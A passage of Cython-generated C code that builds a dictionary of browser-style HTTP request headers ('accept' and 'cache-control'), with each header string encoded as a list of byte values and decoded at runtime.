    if (PyDict_SetItem(__pyx_d, __pyx_n_s_response, __pyx_t_10) < 0) __PYX_ERR(0, 468, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

    
    __pyx_t_10 = __Pyx_PyDict_NewPresized(4); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 474, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __pyx_t_9 = PyList_New(6); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 474, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 0, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_9, 1, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_9, 2, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_9, 3, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_9, 4, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_9, 5, __pyx_int_116);
    __pyx_t_15 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_9); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 474, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = __Pyx_decode_bytes(__pyx_t_15, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 474, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = PyList_New(135); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 474, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 0, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 1, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_15, 2, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 3, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 4, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_15, 5, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 6, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 7, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 8, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_15, 9, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 10, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_15, 11, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_15, 12, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 13, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 14, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 15, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 16, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 17, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 18, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 19, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 20, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 21, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_15, 22, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_15, 23, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 24, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 25, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 26, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_43);
    __Pyx_GIVEREF(__pyx_int_43);
    PyList_SET_ITEM(__pyx_t_15, 27, __pyx_int_43);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_15, 28, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 29, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 30, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_15, 31, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 32, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_15, 33, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_15, 34, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 35, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 36, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 37, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 38, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 39, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 40, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 41, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 42, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 43, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_15, 44, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 45, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 46, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_59);
    __Pyx_GIVEREF(__pyx_int_59);
    PyList_SET_ITEM(__pyx_t_15, 47, __pyx_int_59);
    __Pyx_INCREF(__pyx_int_113);
    __Pyx_GIVEREF(__pyx_int_113);
    PyList_SET_ITEM(__pyx_t_15, 48, __pyx_int_113);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_15, 49, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_48);
    __Pyx_GIVEREF(__pyx_int_48);
    PyList_SET_ITEM(__pyx_t_15, 50, __pyx_int_48);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_15, 51, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_57);
    __Pyx_GIVEREF(__pyx_int_57);
    PyList_SET_ITEM(__pyx_t_15, 52, __pyx_int_57);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_15, 53, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 54, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 55, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 56, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_15, 57, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 58, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 59, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 60, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_118);
    __Pyx_GIVEREF(__pyx_int_118);
    PyList_SET_ITEM(__pyx_t_15, 61, __pyx_int_118);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 62, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_15, 63, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_15, 64, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 65, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 66, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 67, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_15, 68, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 69, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 70, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_119);
    __Pyx_GIVEREF(__pyx_int_119);
    PyList_SET_ITEM(__pyx_t_15, 71, __pyx_int_119);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 72, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_98);
    __Pyx_GIVEREF(__pyx_int_98);
    PyList_SET_ITEM(__pyx_t_15, 73, __pyx_int_98);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_15, 74, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_15, 75, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 76, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_15, 77, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 78, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_15, 79, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 80, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 81, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 82, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_15, 83, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 84, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_15, 85, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_15, 86, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_42);
    __Pyx_GIVEREF(__pyx_int_42);
    PyList_SET_ITEM(__pyx_t_15, 87, __pyx_int_42);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 88, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_42);
    __Pyx_GIVEREF(__pyx_int_42);
    PyList_SET_ITEM(__pyx_t_15, 89, __pyx_int_42);
    __Pyx_INCREF(__pyx_int_59);
    __Pyx_GIVEREF(__pyx_int_59);
    PyList_SET_ITEM(__pyx_t_15, 90, __pyx_int_59);
    __Pyx_INCREF(__pyx_int_113);
    __Pyx_GIVEREF(__pyx_int_113);
    PyList_SET_ITEM(__pyx_t_15, 91, __pyx_int_113);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_15, 92, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_48);
    __Pyx_GIVEREF(__pyx_int_48);
    PyList_SET_ITEM(__pyx_t_15, 93, __pyx_int_48);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_15, 94, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_56);
    __Pyx_GIVEREF(__pyx_int_56);
    PyList_SET_ITEM(__pyx_t_15, 95, __pyx_int_56);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_15, 96, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 97, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_15, 98, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_15, 99, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 100, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 101, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 102, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 103, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 104, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 105, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 106, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 107, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_15, 108, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_115);
    __Pyx_GIVEREF(__pyx_int_115);
    PyList_SET_ITEM(__pyx_t_15, 109, __pyx_int_115);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_15, 110, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_15, 111, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 112, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 113, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_100);
    __Pyx_GIVEREF(__pyx_int_100);
    PyList_SET_ITEM(__pyx_t_15, 114, __pyx_int_100);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_15, 115, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 116, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_15, 117, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 118, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_15, 119, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 120, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 121, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_15, 122, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 123, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_59);
    __Pyx_GIVEREF(__pyx_int_59);
    PyList_SET_ITEM(__pyx_t_15, 124, __pyx_int_59);
    __Pyx_INCREF(__pyx_int_118);
    __Pyx_GIVEREF(__pyx_int_118);
    PyList_SET_ITEM(__pyx_t_15, 125, __pyx_int_118);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_15, 126, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_98);
    __Pyx_GIVEREF(__pyx_int_98);
    PyList_SET_ITEM(__pyx_t_15, 127, __pyx_int_98);
    __Pyx_INCREF(__pyx_int_51);
    __Pyx_GIVEREF(__pyx_int_51);
    PyList_SET_ITEM(__pyx_t_15, 128, __pyx_int_51);
    __Pyx_INCREF(__pyx_int_59);
    __Pyx_GIVEREF(__pyx_int_59);
    PyList_SET_ITEM(__pyx_t_15, 129, __pyx_int_59);
    __Pyx_INCREF(__pyx_int_113);
    __Pyx_GIVEREF(__pyx_int_113);
    PyList_SET_ITEM(__pyx_t_15, 130, __pyx_int_113);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_15, 131, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_48);
    __Pyx_GIVEREF(__pyx_int_48);
    PyList_SET_ITEM(__pyx_t_15, 132, __pyx_int_48);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_15, 133, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_55);
    __Pyx_GIVEREF(__pyx_int_55);
    PyList_SET_ITEM(__pyx_t_15, 134, __pyx_int_55);
    __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_15); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 474, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 474, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    if (PyDict_SetItem(__pyx_t_10, __pyx_t_9, __pyx_t_15) < 0) __PYX_ERR(0, 474, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;

    
    __pyx_t_15 = PyList_New(13); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 475, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 0, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_15, 1, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 2, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_15, 3, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_15, 4, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_15, 5, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_15, 6, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 7, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_15, 8, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_15, 9, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_114);
    __Pyx_GIVEREF(__pyx_int_114);
    PyList_SET_ITEM(__pyx_t_15, 10, __pyx_int_114);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_15, 11, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_15, 12, __pyx_int_108);
    __pyx_t_9 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_15); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 475, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = __Pyx_decode_bytes(__pyx_t_9, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 475, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = PyList_New(8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 475, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_9, 0, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_9, 1, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_45);
    __Pyx_GIVEREF(__pyx_int_45);
    PyList_SET_ITEM(__pyx_t_9, 2, __pyx_int_45);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_9, 3, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 4, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_9, 5, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_9, 6, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_9, 7, __pyx_int_101);
    __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_9); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 475, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
